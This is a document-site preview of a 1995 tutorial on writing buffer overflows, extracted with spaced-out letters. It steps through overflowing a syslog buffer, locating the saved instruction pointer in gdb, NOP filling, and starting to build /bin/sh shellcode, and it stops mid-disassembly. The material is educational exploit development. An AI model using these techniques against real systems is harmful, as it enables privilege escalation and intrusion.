logo资料库

写缓冲区溢出程序以获得超级用户权限.pdf

第1页 / 共18页
第2页 / 共18页
第3页 / 共18页
第4页 / 共18页
第5页 / 共18页
第6页 / 共18页
第7页 / 共18页
第8页 / 共18页
资料共18页,剩余部分请下载后查看
H o w t o w r i t e B u f f e r O v e r f l o w s T h i s i s r e a l l y r o u g h , a n d s o m e o f i t i s n o t n e e d e d . I w r o t e t h i s a s a r e m i n d e r n o t e t o m y s e l f a s I r e a l l y d i d n ' t w a n t t o l o o k a t a n y m o r e A T & T a s s e m b l y a g a i n f o r a w h i l e a n d w a s a f r a i d I w o u l d f o r g e t w h a t I h a d d o n e . I f y o u a r e a n o l d a s s e m b l y g u r u t h e n y o u m i g h t s c o f f a t s o m e o f t h i s . . . o h w e l l , i t w o r k s a n d t h a t ' s a h a c k i n i t s e l f . - b y m u d g e @ l 0 p h t . c o m 1 0 / 2 0 / 9 5 t e s t o u t t h e p r o g r a m ( d u h ) . - - - - - - - - s y s l o g _ t e s t _ 1 . c - - - - - - - - - - - - # i n c l u d e < s t d i o . h > c h a r b u f f e r [ 4 0 2 8 ] ; v o i d m a i n ( ) { i n t i ; f o r ( i = 0 ; i < = 4 0 2 8 ; i + + ) b u f f e r [ i ] = ' A ' ; s y s l o g ( L O G _ E R R , b u f f e r ) ; } - - - - - - - - e n d s y s l o g _ t e s t _ 1 . c - - - - - - - - - - C o m p i l e t h e p r o g r a m a n d r u n i t . M a k e s u r e y o u i n c l u d e t h e s y m b o l t a b l e f o r t h e d e b u g g e r o r n o t . . . d e p e n d i n g u p o n h o w m a c h o y o u f e e l t o d a y . b a s h $ g c c - g b u f . c - o b u f b a s h $ b u f S e g m e n t a t i o n f a u l t ( c o r e d u m p e d ) T h e ' S e g m e n t a t i o n f a u l t ( c o r e d u m p e d ) ' i s w h a t w e w a n t e d t o s e e . T h i s t e l l s u s t h e r e i s d e f i n a t e l y a n a t t e m p t t o a c c e s s s o m e m e m o r y a d d r e s s t h a t w e s h o u l d n ' t . I f y o u d o m u c h i n ' C ' w i t h p o i n t e r s o n a u n i x m a c h i n e y o u h a v e p r o b a b l y s e e n t h i s ( o r B u s e r r o r ) w h e n p o i n t i n g o r d e r e f e r e n c i n g i n c o r r e c t l y . F i r e u p g d b o n t h e p r o g r a m ( w i t h o r w i t h o u t t h e c o r e f i l e ) . A s s u m i n g y o u r e m o v e t h e c o r e f i l e ( t h i s w a y y o u c a n l e a r n a b i t a b o u t g d b ) , t h e s t e p s
w o u l d b e a s f o l l o w s : b a s h $ g d b b u f ( g d b ) r u n S t a r t i n g p r o g r a m : / u s r 2 / h o m e / s y s l o g / b u f P r o g r a m r e c e i v e d s i g n a l 1 1 , S e g m e n t a t i o n f a u l t 0 x 1 2 7 3 i n v s y s l o g ( 0 x 4 1 4 1 4 1 4 1 , 0 x 4 1 4 1 4 1 4 1 , 0 x 4 1 4 1 4 1 4 1 , 0 x 4 1 4 1 4 1 4 1 ) O k , t h i s i s g o o d . T h e 4 1 ' s y o u s e e a r e t h e h e x e q u i v a l l e n t f o r t h e a s c i i c h a r a c t e r ' A ' . W e a r e d e f i n a t e l y g o i n g p l a c e s w h e r e w e s h o u l d n ' t b e . ( g d b ) i n f o a l l - r e g i s t e r s e a x 0 x e f b f d 6 4 1 - 2 7 2 6 4 0 4 4 7 e c x 0 x 0 0 0 0 0 0 0 0 0 e d x 0 x e f b f d 6 7 c - 2 7 2 6 4 0 3 8 8 e b x 0 x e f b f e 0 0 0 - 2 7 2 6 3 7 9 5 2 e s p 0 x e f b f d 2 3 8 0 x e f b f d 2 3 8 e b p 0 x e f b f d e 6 8 0 x e f b f d e 6 8 e s i 0 x e f b f d 6 8 4 - 2 7 2 6 4 0 3 8 0 e d i 0 x 0 0 0 0 c c e 8 5 2 4 5 6 e i p 0 x 0 0 0 0 1 2 7 3 0 x 1 2 7 3 p s 0 x 0 0 0 1 0 2 1 2 6 6 0 6 6 c s 0 x 0 0 0 0 0 0 1 f 3 1 s s 0 x 0 0 0 0 0 0 2 7 3 9 d s 0 x 0 0 0 0 0 0 2 7 3 9 e s 0 x 0 0 0 0 0 0 2 7 3 9 f s 0 x 0 0 0 0 0 0 2 7 3 9 g s 0 x 0 0 0 0 0 0 2 7 3 9 T h e g d b c o m m a n d ' i n f o a l l - r e g i s t e r s ' s h o w s t h e v a l u e s i n t h e c u r r e n t h a r d w a r e r e g i s t e r s . T h e o n e w e a r e r e a l l y i n t e r e s t e d i n i s ' e i p ' . O n s o m e p l a t f o r m s t h i s w i l l b e c a l l e d ' i p ' o r ' p c ' . I t i s t h e I n s t r u c t i o n P o i n t e r [ a l s o c a l l e d P r o g r a m C o u n t e r ] . I t p o i n t s t o t h e m e m o r y l o c a t i o n o f t h e n e x t i n s t r u c t i o n t h e p r o c e s s o r w i l l e x e c u t e . B y o v e r w r i t i n g t h i s y o u c a n p o i n t t o t h e b e g i n n i n g o f y o u r o w n c o d e a n d t h e p r o c e s s o r w i l l m e r r i l y s t a r t e x e c u t i n g i t a s s u m i n g y o u h a v e i t w r i t t e n a s n a t i v e o p c o d e s a n d o p e r a n d s . I n t h e a b o v e w e h a v e n ' t g o t t e n e x a c t l y w h e r e w e n e e d t o b e y e t . I f y o u w a n t t o s e e w h e r e i t c r a s h e d o u t d o t h e f o l l o w i n g : ( g d b ) d i s a s s e m b l e 0 x 1 2 7 3 [ s t u f f d e l e t e d ] 0 x 1 2 6 7 : i n c l 0 x f f f f f 3 d c ( % e b p )
0 x 1 2 6 d : t e s t b % a l , % a l 0 x 1 2 6 f : j n e 0 x 1 2 5 c 0 x 1 2 7 1 : j m p 0 x 1 2 7 6 0 x 1 2 7 3 : m o v b % a l , ( % e b x ) 0 x 1 2 7 5 : i n c l % e b x 0 x 1 2 7 6 : i n c l % e d i 0 x 1 2 7 7 : m o v b ( % e d i ) , % a l 0 x 1 2 7 9 : t e s t b % a l , % a l I f y o u a r e f a m i l i a r w i t h m i c r o s o f t a s s e m b l e r t h i s w i l l b e a b i t b a c k w a r d s t o y o u . F o r e x a m p l e : i n m i c r o s o f t y o u w o u l d ' m o v a x , c x ' t o m o v e c x t o a x . I n A T & T ' m o v a x , c x ' m o v e s a x t o c x . S o p u t o n t h o s e w a r p r e f r a c t i o n e y e - g o g g l e s a n d o n w e g o . N o t e a l s o t h a t I n t e l a s s e m b l e r l e t ' s g o b a c k a n d t w e a k t h e o r i g i n a l s o u r c e c o d e s o m e e h ? - - - - - - - - - - - - - s y s l o g _ t e s t _ 2 . c - - - - - - - - - - - - - # i n c l u d e < s t d i o . h > c h a r b u f f e r [ 4 0 2 8 ] ; v o i d m a i n ( ) { i n t i ; f o r ( i = 0 ; i < 2 0 2 4 ; i + + ) b u f f e r [ i ] = ' A ' ; s y s l o g ( L O G _ E R R , b u f f e r ) ; } - - - - - - - - - - - e n d s y s l o g _ t e s t _ 2 . c - - - - - - - - - - - - - W e ' r e j u s t s h o r t e n i n g t h e l e n g t h o f ' A ' ' s . b a s h $ g c c - g b u f . c - o b u f b a s h $ g d b b u f ( g d b ) r u n S t a r t i n g p r o g r a m : / u s r 2 / h o m e / s y s l o g / b u f P r o g r a m r e c e i v e d s i g n a l 5 , T r a c e / B P T t r a p
0 x 1 0 0 1 i n ? ? ( E r r o r a c c e s s i n g m e m o r y a d d r e s s 0 x 4 1 4 1 4 1 4 9 : C a n n o t a l l o c a t e m e m o r y . T h i s i s t h e m a g i c r e s p o n s e w e ' v e b e e n l o o k i n g f o r . ( g d b ) i n f o a l l - r e g i s t e r s e a x 0 x f f f f f f f f - 1 e c x 0 x 0 0 0 0 0 0 0 0 0 e d x 0 x 0 0 0 0 0 0 0 8 8 e b x 0 x e f b f d e b 4 - 2 7 2 6 3 8 2 8 4 e s p 0 x e f b f d e 7 0 0 x e f b f d e 7 0 e b p 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 < - h e r e i t i s ! ! ! e s i 0 x e f b f d e c 0 - 2 7 2 6 3 8 2 7 2 e d i 0 x e f b f d e b 8 - 2 7 2 6 3 8 2 8 0 e i p 0 x 0 0 0 0 1 0 0 1 0 x 1 0 0 1 p s 0 x 0 0 0 0 0 2 4 6 5 8 2 c s 0 x 0 0 0 0 0 0 1 f 3 1 s s 0 x 0 0 0 0 0 0 2 7 3 9 d s 0 x 0 0 0 0 0 0 2 7 3 9 e s 0 x 0 0 0 0 0 0 2 7 3 9 f s 0 x 0 0 0 0 0 0 2 7 3 9 g s 0 x 0 0 0 0 0 0 2 7 3 9 N o w w e m o v e i t a l o n g u n t i l w e f i g u r e o u t w h e r e e i p l i v e s i n t h e o v e r f l o w ( w h i c h i s r i g h t a f t e r e b p i n t h i s a r c h a r c h i t e c t u r e ) . W i t h t h a t k n o w n f a c t w e o n l y h a v e t o a d d 4 m o r e b y t e s t o o u r b u f f e r o f ' A ' ' s a n d w e w i l l o v e r w r i t e e i p c o m p l e t e l y . - - - - - - - - - s y s l o g _ t e s t _ 3 . c - - - - - - - - - - - - - - - - # i n c l u d e < s t d i o . h > c h a r b u f f e r [ 4 0 2 8 ] ; v o i d m a i n ( ) { i n t i ; f o r ( i = 0 ; i < 2 0 2 8 ; i + + ) b u f f e r [ i ] = ' A ' ; s y s l o g ( L O G _ E R R , b u f f e r ) ; } - - - - - - - e n d s y s l o g _ t e s t _ 3 . c - - - - - - - - - - - -
b a s h $ ! g c g c c - g b u f . c - o b u f b a s h $ g d b b u f ( g d b ) r u n S t a r t i n g p r o g r a m : / u s r 2 / h o m e / s y s l o g / b u f P r o g r a m r e c e i v e d s i g n a l 1 1 , S e g m e n t a t i o n f a u l t 0 x 4 1 4 1 4 1 4 1 i n e r r n o ( E r r o r a c c e s s i n g m e m o r y a d d r e s s 0 x 4 1 4 1 4 1 4 9 : C a n n o t a l l o c a t e m e m o r y . ( g d b ) i n f o a l l - r e g i s t e r s e a x 0 x f f f f f f f f - 1 e c x 0 x 0 0 0 0 0 0 0 0 0 e d x 0 x 0 0 0 0 0 0 0 8 8 e b x 0 x e f b f d e b 4 - 2 7 2 6 3 8 2 8 4 e s p 0 x e f b f d e 7 0 0 x e f b f d e 7 0 e b p 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 e s i 0 x e f b f d e c 0 - 2 7 2 6 3 8 2 7 2 e d i 0 x e f b f d e b 8 - 2 7 2 6 3 8 2 8 0 e i p 0 x 4 1 4 1 4 1 4 1 0 x 4 1 4 1 4 1 4 1 p s 0 x 0 0 0 1 0 2 4 6 6 6 1 1 8 c s 0 x 0 0 0 0 0 0 1 f 3 1 s s 0 x 0 0 0 0 0 0 2 7 3 9 d s 0 x 0 0 0 0 0 0 2 7 3 9 e s 0 x 0 0 0 0 0 0 2 7 3 9 f s 0 x 0 0 0 0 0 0 2 7 3 9 g s 0 x 0 0 0 0 0 0 2 7 3 9 B I N G O ! ! ! H e r e ' s w h e r e i t s t a r t s t o g e t i n t e r e s t i n g . N o w t h a t w e k n o w e i p s t a r t s a t b u f f e r [ 2 0 2 4 ] a n d g o e s t h r o u g h b u f f e r [ 2 0 2 7 ] w e c a n l o a d i t u p w i t h w h a t e v e r w e n e e d . T h e q u e s t i o n i s . . . w h a t d o w e n e e d ? W e f i n d t h i s b y l o o k i n g a t t h e c o n t e n t s o f b u f f e r [ ] . ( g d b ) d i s a s s e m b l e b u f f e r [ s t u f f d e l e t e d ] 0 x c 7 3 8 : i n c l % e c x 0 x c 7 3 9 : i n c l % e c x 0 x c 7 3 a : i n c l % e c x 0 x c 7 3 b : i n c l % e c x 0 x c 7 3 c : a d d b % a l , ( % e a x ) 0 x c 7 3 e : a d d b % a l , ( % e a x )
0 x c 7 4 0 : a d d b % a l , ( % e a x ) [ s t u f f d e l e t e d ] O n t h e I n t e l x 8 6 a r c h i t e c t u r e [ a p e n t i u m h e r e b u t t h a t d o e s n ' t m a t t e r ] i n c l % e a x i s o p c o d e 0 1 0 0 0 0 0 1 o r 4 1 h e x . a d d b % a l , ( % e a x ) i s 0 0 0 0 0 0 0 0 o r 0 x 0 h e x . W e w i l l l o a d u p b u f f e r [ 2 0 2 4 ] t o b u f f e r [ 2 0 2 7 ] w i t h t h e a d d r e s s o f 0 x c 7 3 c w h e r e w e w i l l s t a r t o u r c o d e . Y o u h a v e t w o o p t i o n s h e r e , o n e i s t o l o a d t h e b u f f e r u p w i t h t h e o p c o d e s a n d o p e r a n d s a n d p o i n t t h e e i p b a c k i n t o t h e b u f f e r ; t h e o t h e r o p t i o n i s w h a t w e a r e g o i n g t o b e d o i n g w h i c h i s t o p u t t h e o p c o d e s a n d o p e r a n d s a f t e r t h e e i p a n d p o i n t t o t h e m . T h e a d v a n t a g e t o p u t t i n g t h e c o d e i n s i d e t h e b u f f e r i s t h a t o t h e r t h a n t h e e b p a n d e i p r e g i s t e r s y o u d o n ' t c l o b b e r a n y t h i n g e l s e . T h e d i s a d v a n t a g e i s t h a t y o u w i l l n e e d t o d o t r i c k i e r c o d i n g ( a n d a c t u a l l y w r i t e t h e a s s e m b l y y o u r s e l f ) s o t h a t t h e r e a r e n o b y t e s t h a t c o n t a i n 0 x 0 w h i c h w i l l l o o k l i k e a n u l l i n t h e s t r i n g . T h i s w i l l r e q u i r e y o u t o k n o w e n o u g h a b o u t t h e n a t i v e c h i p a r c h i t e c t u r e a n d o p c o d e s t o d o t h i s [ e a s y e n o u g h f o r s o m e p e o p l e o n I n t e l x 8 6 ' s b u t w h a t h a p p e n s w h e n y o u r u n i n t o a n A l p h a ? - - l u c k y f o r u s t h e r e i s a g d b f o r A l p h a I t h i n k ; - ) ] . T h e a d v a n t a g e t o p u t t i n g t h e c o d e a f t e r t h e e i p i s t h a t y o u d o n ' t h a v e t o w o r r y a b o u t b y t e s c o n t a i n i n g 0 x 0 i n t h e m . T h i s w a y y o u c a n w r i t e w h a t e v e r p r o g r a m y o u w a n t t o e x e c u t e i n ' C ' a n d h a v e g d b g e n e r a t e m o s t o f t h e m a c h i n e c o d e f o r y o u . T h e d i s a d v a n t a g e i s t h a t y o u a r e o v e r w r i t i n g t h e g r e a t u n k n o w n . I n m o s t c a s e s t h e s e c t i o n y o u s t a r t t o o v e r w r i t e h e r e c o n t a i n s y o u r e n v i r o n m e n t v a r i a b l e s a n d o t h e r w h a t n o t s . . . . u p o n s u c c e s f u l l y r u n n i n g y o u r c r e a t e d c o d e y o u m i g h t b e d r o p p e d b a c k i n t o a b i g v o i d . D e a l w i t h i t . T h e s a f e s t i n s t r u c t i o n i s N O P w h i c h i s a b e n i g n n o - o p e r a t i o n . T h i s i s w h a t y o u w i l l p r o b a b l y b e l o a d i n g t h e b u f f e r u p w i t h a s f i l l e r . A h h h b u t w h a t i f y o u d o n ' t k n o w w h a t t h e o p c o d e s a r e f o r t h e p a r t i c u l a r a r c h i t e c t u r e y o u a r e o n . N o p r o b l e m . g c c h a s a w o n d e r f u l l f u n c t i o n c a l l e d _ _ a s m _ _ ( c h a r * ) ; I r e l y u p o n t h i s h e a v i l y f o r d o i n g b u f f e r o v e r f l o w s o n a r c h i t e c t u r e s t h a t I d o n ' t h a v e a s s e m b l e r b o o k s f o r . - - - - - - n o p . c - - - - - - - - v o i d m a i n ( ) { _ _ a s m _ _ ( " n o p \ n " ) ; } - - - - e n d n o p . c - - - - - -
b a s h $ g c c - g n o p . c - o n o p b a s h $ g d b n o p ( g d b ) d i s a s s e m b l e m a i n D u m p o f a s s e m b l e r c o d e f o r f u n c t i o n m a i n : t o 0 x 1 0 8 8 : 0 x 1 0 8 0 : p u s h l % e b p 0 x 1 0 8 1 : m o v l % e s p , % e b p 0 x 1 0 8 3 : n o p 0 x 1 0 8 4 : l e a v e 0 x 1 0 8 5 : r e t 0 x 1 0 8 6 : a d d b % a l , ( % e a x ) E n d o f a s s e m b l e r d u m p . ( g d b ) x / b x 0 x 1 0 8 3 0 x 1 0 8 3 : 0 x 9 0 S i n c e n o p i s a t 0 x 1 0 8 3 a n d t h e n e x t i n s t r u c t i o n i s a t 0 x 1 0 8 4 w e k n o w t h a t n o p o n l y t a k e s u p o n e b y t e . E x a m i n i n g t h a t b y t e s h o w s u s t h a t i t i s 0 x 9 0 ( h e x ) . O u r p r o g r a m n o w l o o k s l i k e t h i s : - - - - - - s y s l o g _ t e s t _ 4 . c - - - - - - - - - # i n c l u d e < s t d i o . h > c h a r b u f f e r [ 4 0 2 8 ] ; v o i d m a i n ( ) { i n t i ; f o r ( i = 0 ; i < 2 0 2 4 ; i + + ) b u f f e r [ i ] = 0 x 9 0 ; i = 2 0 2 4 ; b u f f e r [ i + + ] = 0 x 3 c ; b u f f e r [ i + + ] = 0 x c 7 ; b u f f e r [ i + + ] = 0 x 0 0 ; b u f f e r [ i + + ] = 0 x 0 0 ; s y s l o g ( L O G _ E R R , b u f f e r ) ; } - - - - - - e n d s y s l o g _ t e s t _ 4 . c - - - - - - -
N o t i c e y o u n e e d t o l o a d t h e e i p b a c k w a r d s i e 0 0 0 0 c 7 3 c i s l o a d e d i n t o t h e b u f f e r a s 3 c c 7 0 0 0 0 . N o w t h e q u e s t i o n w e h a v e i s w h a t i s t h e c o d e w e i n s e r t f r o m h e r e o n ? S u p p o s e w e w a n t t o r u n / b i n / s h ? G e e , I d o n ' t h a v e a f r i g g i n c l u e a s t o w h y s o m e o n e w o u l d w a n t t o d o s o m e t h i n g l i k e t h i s , b u t I h e a r t h e r e a r e a l o t o f n a s t y p e o p l e o u t t h e r e . O h w e l l . H e r e ' s t h e p r o g g i e w e w a n t t o e x e c u t e i n C c o d e : - - - - - - e x e c u t e . c - - - - - - - - # i n c l u d e < s t d i o . h > m a i n ( ) { c h a r * n a m e [ 2 ] ; n a m e [ 0 ] = " s h " ; n a m e [ 1 ] = N U L L ; e x e c v e ( " / b i n / s h " , n a m e , N U L L ) ; } - - - - e n d e x e c u t e . c - - - - - - - b a s h $ g c c - g e x e c u t e . c - o e x e c u t e b a s h $ e x e c u t e $ O k , t h e p r o g r a m w o r k s . T h e n a g a i n , i f y o u c o u l d n ' t w h i p u p t h a t l i t t l e p r o g y o u s h o u l d p r o b a b l y t h r o w i n t h e t o w e l h e r e . M a y b e b e c o m e a w e b m a s t e r o r s o m e t h i n g t h a t r e q u i r e s l i t t l e t o n o p r o g r a m m i n g ( o r b r a i n w a v e a c t i v i t y p e r i o d ) . H e r e ' s t h e g d b s c o o p : b a s h $ g d b e x e c u t e ( g d b ) d i s a s s e m b l e m a i n D u m p o f a s s e m b l e r c o d e f o r f u n c t i o n m a i n : t o 0 x 1 0 b 8 : 0 x 1 0 8 8 : p u s h l % e b p 0 x 1 0 8 9 : m o v l % e s p , % e b p 0 x 1 0 8 b : s u b l $ 0 x 8 , % e s p 0 x 1 0 8 e : m o v l $ 0 x 1 0 8 0 , 0 x f f f f f f f 8 ( % e b p ) 0 x 1 0 9 5 : m o v l $ 0 x 0 , 0 x f f f f f f f c ( % e b p ) 0 x 1 0 9 c : p u s h l $ 0 x 0 0 x 1 0 9 e : l e a l 0 x f f f f f f f 8 ( % e b p ) , % e a x 0 x 1 0 a 1 : p u s h l % e a x
分享到:
收藏